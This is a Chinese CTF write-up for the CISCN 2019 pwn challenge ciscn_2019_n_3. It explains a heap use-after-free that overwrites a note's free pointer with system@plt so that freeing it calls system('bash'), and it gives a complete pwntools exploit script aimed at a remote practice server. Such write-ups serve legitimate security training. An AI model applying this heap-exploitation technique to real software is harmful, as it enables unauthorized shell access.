CISCN_2019

ciscn_2019_n_3

保护

image-20210526120532732

ida

  • new

image-20210526121417172

  • del

    image-20210526121954287

  • dump

    image-20210526122032820

解题思路:

uaf漏洞。程序new之前先malloc了0xC的chunk,用来存放 print 和 free 指针

  • 1、直接写入数值
  • 2、写入一个指向string的chunk指针
1
2
add(0,2,'aaaa',0x10)
add(1,1,'',0x10)

image-20210526123328831

根据 fastbin FILO 的特性,执行 free(0)、free(1) ,再new一个string类型,便可以修改 free 指针为 system_plt,同时 string 指针的最后一个字节会被修改为 \n (0x0a),就刚好指向了 print 指针处,把这个地方修改为 bash。执行 free(0) -> system(‘bash’),达成getshell

image-20210526124650393

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
from pwn import *
from LibcSearcher import *
import time, sys, base64

context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'

# p = process('./ciscn_2019_n_3')
p = remote('node3.buuoj.cn',26908)
#p = remote('127.0.0.1',12345)
elf = ELF('./ciscn_2019_n_3')

sys_addr = elf.plt['system']

def add(index,Type,content,length=0):
p.sendlineafter('CNote > ','1')
p.sendlineafter('Index > ',str(index))
p.sendlineafter('Type > ',str(Type))
if Type == 2:
p.sendlineafter('Length > ',str(length))
p.sendlineafter('Value > ',content)
else:
p.sendlineafter('Value > ',str(length))

def free(index):
p.sendlineafter('CNote > ','2')
p.sendlineafter('Index > ',str(index))

def show(index):
p.sendlineafter('CNote > ','3')
p.sendlineafter('Index > ',str(index))

add(0,2,'bbbb',0x10)
add(1,1,'a',0x10)

free(0)
free(1)

add(2,2,'bash'+p32(sys_addr),0xc)

free(0)

p.interactive()